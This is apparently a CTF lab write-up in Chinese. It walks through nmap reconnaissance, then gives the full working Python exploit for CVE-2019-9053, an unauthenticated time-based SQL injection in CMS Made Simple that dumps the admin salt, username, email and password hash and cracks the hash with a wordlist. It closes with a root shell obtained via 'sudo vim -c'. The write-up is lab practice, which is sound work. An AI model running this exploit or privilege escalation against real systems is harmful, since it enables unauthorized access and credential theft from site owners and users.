nmap -sC -sV  10.10.195.244                                                                                        (base)
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-26 16:41 CST
Nmap scan report for 10.10.195.244
Host is up (0.29s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.69.58
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 380.45 seconds

爆破目录,发现/sample路由,然后就访问
发现是个CMS,百度一下发现版本CVE-2019-9053,是一个sql注入攻击的

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Original-Date: 30-03-2019
# Edited-Date: 27-5-2023
# Exploit Author: Daniele Scanu @ Certimeter Group
# Edited by: Mohammed M.
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
print ("[+] Specify an url target")
print ("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
print ("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
print ("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist

def crack_password():
global password
global output
global wordlist
global salt
encodings = ['utf-8', 'latin-1', 'ascii']

for encoding in encodings:
try:
with open(wordlist, 'r', encoding=encoding) as dict:
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
encoded_line = (str(salt) + line).encode('utf-8')
if hashlib.md5(encoded_line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
break
except UnicodeDecodeError:
continue

def beautify_print_try(value):
global output
print ("\033c")
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
global output
print ("\033c")
cprint(output,'green', attrs=['bold'])

def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt

def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password

def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True

def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
print (colored("[*] Now trying to crack password"))
crack_password()

beautify_print()

python 1.py -u 'http://10.10.195.244/simple' --crack -w ~/CTF/tools/10k-most-common.txt
爆破完后
登录进去
suid没找到有用的东西,那就sudo -l看看发现vim有sudo权限
sudo vim -c ':!/bin/sh'成功提权